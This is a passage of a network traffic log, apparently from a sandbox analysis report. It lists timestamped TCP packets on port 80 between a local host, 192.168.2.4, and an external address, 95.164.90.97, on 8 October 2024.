Oct 8, 2024 02:45:24.054944038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054955006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.054980040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.054994106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.055026054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.055027008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.055092096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.090105057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.090141058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.090169907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.090176105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.090184927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.090221882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.090243101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.090291023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.090293884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.090327978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.090342999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.090362072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.090372086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.090404034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.111140013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.111192942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.111222029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.111233950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.111247063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.111275911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.111345053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.111378908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.111402035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.111426115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.111428976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.111479044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.111624002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.111676931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.111897945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.111953020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.112011909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.112045050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.112067938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.112090111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.112870932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.112903118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.112926006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.112936020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.112945080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.112970114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.112981081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113009930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113095045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113152027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113209009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113243103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113259077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113282919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113377094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113409042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113425970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113442898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113447905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113477945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113486052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113527060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113795996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113828897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113850117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113862038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113867044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113895893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113903999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113929987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113939047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113964081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.113976955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.113996983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.114006996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.114029884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.114041090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.114063978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.114073038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.114106894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.114456892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.114490032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.114500999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.114526033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.114530087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.114559889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.114574909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.114604950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.114856958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.114886999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.114909887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.114918947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.114928961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.114953041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.114958048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.114984989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.115000963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.115017891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.115029097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.115051031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.115061998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.115084887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.115094900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.115118980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.115134954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.115153074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.115169048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.115187883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.115196943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.115231037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.116074085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.116112947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.116138935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.116146088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.116147041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.116179943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.116188049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.116211891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.116228104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.116245031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.116255999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.116280079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.116290092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.116312027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.116322041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.116345882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.116355896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.116379976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.116389036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.116421938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.118609905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.118660927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.118669033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.118694067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.118699074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.118737936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.118812084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.118845940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.118865013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.118877888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.118904114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.118911982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.118916035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.118958950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119230986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119262934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119282007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119296074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119304895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119328976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119333029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119362116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119368076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119406939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119414091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119447947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119460106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119481087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119493008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119515896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119525909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119559050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119685888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119719028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119739056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119750977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119757891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119784117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119795084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119817019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119827032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119853020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.119862080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.119899035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.120083094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.120115995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.120136976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.120148897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.120157957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.120181084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.120186090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.120217085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.120224953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.120260000 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.144165993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144217968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144222021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.144252062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144272089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.144304037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.144395113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144443035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144445896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.144476891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144491911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.144511938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144525051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.144546032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144557953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.144588947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.144768000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144802094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144824028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.144902945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.144928932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144961119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.144984007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.145004034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.145010948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.145044088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.145056963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.145076990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.145090103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.145109892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.145121098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.145143032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.145153046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.145176888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.145184994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.145222902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.145600080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.145632982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.145657063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.145664930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.145670891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.145704985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.180459976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.180495024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.180536032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.180552006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.180596113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.180628061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.180676937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.180718899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.180751085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.180768013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.180784941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.180795908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.180816889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.180829048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.180860043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202001095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202049971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202070951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202095985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202105045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202140093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202152967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202174902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202183008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202212095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202223063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202250004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202256918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202294111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202338934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202389002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202461958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202495098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202513933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202538967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202558994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202641010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202775955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202809095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202827930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202842951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202848911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202876091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.202881098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.202924013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.203633070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.203685045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.203691006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.203717947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.203727007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.203759909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.203809023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.203840971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.203861952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.203881025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.203979969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204027891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204030991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204061031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204070091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204094887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204108000 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204128981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204142094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204173088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204443932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204479933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204498053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204523087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204618931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204652071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204664946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204685926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204694033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204715967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204726934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204749107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204761982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204782963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204787970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204816103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204819918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204848051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204853058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204881907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.204888105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.204921961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.205276966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205311060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205328941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.205343008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205348969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.205377102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205391884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.205410004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205418110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.205441952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205452919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.205476046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205482006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.205511093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205518961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.205554008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:24.205845118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205873966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:24.205897093 CEST	51293	80	192.168.2.4	95.164.90.97
